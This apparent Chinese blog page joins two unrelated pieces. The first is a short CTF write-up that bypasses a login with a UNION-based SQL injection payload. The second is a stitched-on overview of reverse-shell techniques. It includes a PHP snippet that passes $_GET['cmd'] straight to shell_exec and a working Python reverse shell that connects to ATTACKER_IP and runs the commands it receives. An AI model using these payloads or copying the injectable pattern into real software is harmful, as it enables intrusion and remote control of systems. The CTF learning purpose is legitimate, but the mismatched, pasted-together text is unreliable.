ctf实验吧逻辑问题

CTF PHP注入绕过实战
本文通过ctf5.shiyanbar.com/web/5/index.php的PHP题目,详细解析了如何利用SQL注入技巧绕过登录验证。通过分析源码和URL输入,揭示了后台逻辑并展示了如何构造特定的SQL语句使$row[pw]与加密的password相等,成功实现绕过。

ctf5.shiyanbar.com/web/5/index.php
绕开。
php题,习惯先看源码,F12,结果发现了
在这里插入图片描述
url输入了一看
在这里插入图片描述
告诉了我们后台逻辑。分析一下,发现只要使得$row[“pw”]和加密的password相等就好了,就莫名想到了注入了,因为开头试了试加’,在这里插入图片描述
账号输入这个,xxx’ and 0=1 union select “密码的md5值” # ,绕开了用户名
在这里插入图片描述
这是成功后的

### CTF竞赛中的反弹Shell解题方法与技巧 #### 识别Webshell并获取敏感信息 在CTF比赛中,通常会提供一个网络流量捕获文件(如`hack.pcap`),其中包含了攻击者与服务器之间的通信记录。为了找到用于登录系统的密码或其他重要凭证,可以通过Wireshark工具打开此`.pcap`文件,并运用过滤器来定位特定协议下的关键字[^2]。 对于给定的例子,在Wireshark中执行如下操作: 1. 打开`hack.pcap`; 2. 使用过滤条件`tcp contains "password"`查找包含密码字段的数据包; 3. 对选定的数据包应用更精确的时间序列筛选,例如`tcp.stream eq X` (X为具体流编号),以便聚焦于单一会话内的交互细节; 4. 查看载荷部分并通过字符串搜索功能直接检索明文形式存在的认证凭据——这里发现的管理员账户密码即为`Admin123!@#`。 #### 利用已知漏洞实施远程命令执行(RCE) 当面对可能存在RCE风险的应用程序时,尤其是那些允许用户提交未经充分验证或转义处理过的输入参数的服务端逻辑缺陷场景下,应当谨慎评估其安全性边界[^4]。如果确认目标环境确实存在这样的安全隐患,则下一步就是精心构建能够触发该机制的有效负载(payload)。 考虑到题目背景提到的是基于PHP编写的CMS平台,那么可以尝试构造恶意请求以调用诸如`exec()`、`shell_exec()`或是其他类似的底层操作系统接口函数来进行任意指令注入测试: ```php <?php // 假设这是来自用户的可控变量 $input = $_GET['cmd']; // 危险做法:未加任何防护措施就将其作为系统调用的一部分 $output = shell_exec($input); echo $output; ?> ``` 上述代码片段展示了如何不当使用这些内置函数可能会带来严重的后果。然而,在实际比赛环境中,应该遵循道德准则仅限于合法授权范围内的实验活动。 #### 实施反弹Shell连接建立过程 一旦成功实现了对受害主机上运行进程的部分控制权之后,就可以考虑部署一种持久化的反向Shell组件了。这一步骤涉及将事先准备好的payload上传至远端站点目录结构内某处可公开访问的位置,并通过浏览器或者其他HTTP客户端发送相应请求激活它[^3]。 下面是一个简化版的Python脚本来模拟创建这样一个监听服务的过程: ```python import socket import subprocess import os def connect_back(ip, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((ip, int(port))) while True: command = s.recv(1024).decode() if 'terminate' in command.lower(): break output = subprocess.getoutput(command) s.send(output.encode()) except Exception as e: print(f"Error occurred: {e}") finally: s.close() if __name__ == "__main__": attacker_ip = "ATTACKER_IP" attacker_port = "PORT_NUMBER" connect_back(attacker_ip, attacker_port) ``` 请注意替换掉示例中的占位符(`ATTACKER_IP`, `PORT_NUMBER`)为真实的数值之前先确保已经获得了适当权限许可! #### 数据包分析辅助排查异常行为 在整个过程中还应充分利用抓包技术监控整个会话期间产生的所有双向传输内容,特别是关注是否存在可疑模式匹配项,比如常见的SSH/Telnet登录提示词“login”,或者是FTP/SMB等常见文件共享协议里的身份验证交换环节。借助像`tshark`这类强大的命令行版本嗅探器可以帮助快速锁定感兴趣的事件实例[^5]。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值